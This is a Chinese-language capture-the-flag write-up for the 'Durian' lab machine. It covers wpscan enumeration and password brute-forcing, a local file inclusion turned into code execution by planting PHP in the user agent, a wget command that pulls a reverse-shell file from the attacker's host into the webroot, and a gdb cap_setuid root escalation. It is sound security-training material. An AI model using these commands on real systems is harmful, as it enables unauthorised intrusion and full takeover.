Durian靶机write up

语言: CN / TW / HK

Durian

1.端口扫描 nmap -sS -Pn -sV -T4 -p- 192.168.8.12

有22和80,浏览器先访问80看看。

2.Web浏览

查看下源码,也没有什么收获。那接下来做目录扫描和nikto扫描。

3.目录扫描

能看到有wp-admin,那么就知道后台是wordpress。

4.Nikto扫描

发现了/blog/wp-login.php,验证了上面的猜测。

5.Wpscan扫描

既然有wordpress那就用wpscan来扫描

wpscan --url http://192.168.8.12/blog/ --enumerate u

通过这个命令来枚举用户名

找到了一个admin用户,接着来爆破密码。

爆破:wpscan --url http://192.168.8.8/blog/ -P /usr/share/wordlists/rockyou.txt -U admin

最终没有爆破出密码来。

6.文件包含

爆破失败后,改变思路,重新检查目录

http://192.168.8.12/cgi-data/getImage.php

看到源码后是一个本地文件包含。于是构造url

本地文件包含的漏洞验证成功。

通过php伪协议来读取本地的php文件读取/blog/wp-content/index.php文件

Base64解码

拿到这串文字暂时没有什么有用的点。

继续利用ezpzLFI工具来做本地文件包含的爆破

找到了上面的三个文件。

重新整理了一下本地文件包含的利用思路:由于/proc/self/fd/8中会记录user agent,所以考虑http请求头的user agent中加入php命令,然后本地文件包含/proc/self/fd/8文件,文件会被当成php代码来解析,实现命令执行。

开始实验:首先通过burp将user agent里面加入php命令<?php system('id');?>

发送请求,检查/proc/self/fd/8文件,里面看到了命令的回显

思路利用成功。

7.反弹shell

php命令能够执行后,考虑执行wget命令将本地反弹shell的木马上传到靶机上,然后访问木马,获取反弹shell。

本地用python起个http服务

Burp里在user agent那里输入<?php system('wget http://192.168.9.140/shell.php -O /var/www/html/blog/shell1.php');?>

执行命令后,在/var/www/html/blog目录下生成了shell1.php这个木马。

Kali上起监听,浏览访问http://192.168.8.12/blog/shell1.php

kali上获取了反弹shell

8.本地提权

获取交互式的shell

做一波信息搜集 发现有两个可登录的用户。

内核的信息

计划任务

sudo

Suid

信息搜集到这一步后,没有什么好的思路,个人经验感觉sudo那边怪怪的,考虑ping和shutdown来直接提权,最终没有提权成功。

接着在命令行直接执行ping -v

发现不需要加sudo也能执行ping命令,这里就考虑ping命令有capability

所以执行getcap -r / 2>/dev/null来查看一共有哪些命令拥有capability

发现gdb命令有setuid的capability

执行gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

提权成功

最终拿到了flag。

分享到:
「其他文章」